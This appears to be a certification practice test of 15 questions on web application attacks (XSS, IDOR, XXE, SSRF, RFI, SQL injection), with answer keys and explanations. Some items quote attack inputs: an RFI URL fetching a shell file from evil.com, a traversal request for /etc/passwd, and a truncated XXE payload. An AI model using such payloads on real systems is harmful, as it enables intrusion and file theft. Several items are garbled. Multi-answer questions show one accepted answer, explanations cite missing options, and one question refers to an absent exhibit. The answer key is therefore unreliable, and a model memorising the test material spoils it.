CEH Web Application and Injection Attacks Practice Test 9 — 15 Questions

Question 1

A web application tester notices that the application reflects user input in the URL without proper encoding. The tester submits a payload in a search field and the script executes in the browser. Which type of XSS vulnerability is this MOST likely?

Accepted Answer

Reflected XSS. Reflected XSS occurs when user input is immediately returned by the server in the response without proper sanitization. The script executes once and is not stored, distinguishing it from stored XSS. DOM-based XSS would involve client-side JavaScript manipulation without server reflection.

Answer

Blind XSS

Answer

Stored (persistent) XSS

Answer

DOM-based XSS

Question 2

During a penetration test, a security analyst discovers that a web application uses sequential numeric identifiers in URLs (e.g., /profile?id=100). By modifying the id parameter, the analyst can access another user's profile data without authorization. Which vulnerability is being exploited?

Accepted Answer

Insecure Direct Object Reference (IDOR). IDOR (Insecure Direct Object Reference) occurs when an application exposes internal object references (e.g., database keys) and fails to enforce proper access controls, allowing users to manipulate them to access unauthorized data.

Answer

SQL injection

Answer

Server-Side Request Forgery (SSRF)

Answer

Cross-Site Request Forgery (CSRF)

Question 3

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications?

Accepted Answer

SQLMap. SQLMap is a well-known open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities. Burp Suite is a web proxy and scanner, Nikto is a web server scanner, and Metasploit is a penetration testing framework with broader capabilities.

Answer

Burp Suite

Answer

Nikto

Answer

Metasploit

Question 4

An application allows users to upload XML files for processing. A tester uploads the following payload: ]>&xxe;. The server returns the contents of /etc/passwd. Which attack is being performed?

Accepted Answer

XML External Entity (XXE) injection. This is an XML External Entity (XXE) injection attack, where an external entity is defined to read a local file. The server's XML parser processes the entity and reflects the file content, confirming the vulnerability.

Answer

SQL injection

Answer

Cross-Site Scripting (XSS)

Answer

Server-Side Request Forgery (SSRF)

Question 5

A security analyst observes that a web application's login page responds with different HTTP status codes and response times for valid versus invalid usernames. This information leakage could be used to perform which type of authentication attack?

Accepted Answer

Username enumeration. Username enumeration occurs when an application reveals whether a username exists, often through differing error messages or response times. This information can be leveraged for brute force or password spraying attacks by focusing on valid usernames.

Answer

Credential stuffing

Answer

Password spraying

Answer

Brute force attack

Question 6

Which of the following is a primary defense mechanism against Cross-Site Request Forgery (CSRF) attacks?

Accepted Answer

Implementing CSRF tokens. CSRF tokens are unique, unpredictable values included in requests that the server validates to ensure the request is intentional. SameSite cookies help but are not the primary defense; CAPTCHA and input validation are not standard CSRF mitigations.

Answer

Input validation and output encoding

Answer

Enforcing CAPTCHA on all forms

Answer

Using SameSite cookies

Question 7

A penetration tester uses Burp Suite Repeater to manually modify and resend HTTP requests to a web server. In which phase of the testing methodology is this tool most commonly employed?

Accepted Answer

Exploitation. Burp Suite Repeater is used to manually craft and reissue requests, typically during the exploitation phase after identifying potential vulnerabilities. It allows testing parameter manipulation, injection payloads, and observing responses.

Answer

Reconnaissance

Answer

Reporting

Answer

Scanning and enumeration

Question 8

While analyzing web server logs, an analyst finds the following entry: GET /../../../../etc/passwd HTTP/1.1 with a 200 OK response. Which vulnerability is indicated, and what is the MOST likely impact?

Accepted Answer

Directory traversal; reading sensitive files. The path contains '../' sequences indicating directory traversal. A 200 response suggests the attacker successfully read the /etc/passwd file, leading to disclosure of system user accounts. This can aid further attacks like password cracking.

Answer

Command injection; remote shell access

Answer

SQL injection; data exfiltration

Answer

Remote File Inclusion (RFI); arbitrary code execution

Question 9

Which of the following describes a Server-Side Request Forgery (SSRF) attack?

Accepted Answer

An attacker forces the web server to make HTTP requests to arbitrary destinations, potentially accessing internal resources.. SSRF occurs when an attacker can induce the server to make HTTP requests to internal or external resources. This can lead to accessing internal services (e.g., cloud metadata endpoints) that are not normally accessible from the outside.

Answer

An attacker tricks a user into clicking a link that executes unwanted actions on a web application where the user is authenticated.

Answer

An attacker injects malicious scripts into a web page that executes in other users' browsers.

Answer

An attacker manipulates input to execute system commands on the server.

Question 10

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

Accepted Answer

Intruder. Burp Intruder is designed for automated request customization and repetition, allowing fuzzing of parameters for injection flaws, brute-force attacks, and other vulnerability testing.

Answer

Repeater

Answer

Proxy

Answer

Scanner

Question 11

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Accepted Answer

Remote File Inclusion (RFI). Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.

Answer

Directory traversal

Answer

Local File Inclusion (LFI)

Answer

Command injection

Question 12

A security analyst discovers that a web application's search box reflects user input without proper sanitization. However, the attacker must trick a victim into clicking a crafted link containing the malicious script. This vulnerability is classified as which type?

Accepted Answer

Reflected XSS. Reflected XSS requires user interaction (clicking a link) to execute the script in the victim's browser. The payload is not stored on the server, distinguishing it from stored XSS. DOM-based XSS does not involve server reflection.

Answer

Blind XSS

Answer

Stored XSS

Answer

DOM-based XSS

Question 13

A penetration tester is assessing a web application and wants to manually test for SQL injection vulnerabilities. Which TWO tools or techniques are best suited for this task?

Accepted Answer

Burp Suite. Burp Suite allows manual intercept and modification of requests to inject SQL payloads. SQLMap automates SQL injection detection and exploitation. Nikto is a web server scanner, not specific to SQLi. Nmap is a network scanner. OWASP ZAP is a web app scanner similar to Burp but less manual.

Answer

OWASP ZAP

Answer

Nikto

Answer

Nmap

Question 14

Which THREE of the following are effective mitigation techniques against Cross-Site Scripting (XSS) attacks?

Accepted Answer

Output encoding. Input validation ensures malicious characters are rejected. Output encoding converts special characters to safe HTML entities. Content Security Policy (CSP) restricts script sources. Disabling JavaScript is not practical. Using HTTPS protects data in transit but not against XSS.

Answer

Disabling JavaScript in the client browser

Answer

Using HTTPS for all communications

Question 15

Which TWO of the following are common types of SQL injection attacks?

Accepted Answer

Blind SQL injection (boolean-based). In-band SQLi (union-based) uses the same channel to inject and retrieve data. Blind SQLi (boolean-based or time-based) does not return data directly but infers information from behavior. NoSQL injection is a separate category. Heap-based is not a recognized SQLi type. Out-of-band is a third type but not listed among the options; the question asks for common types.

Answer

Out-of-band SQL injection

Answer

Heap-based SQL injection

Answer

NoSQL injection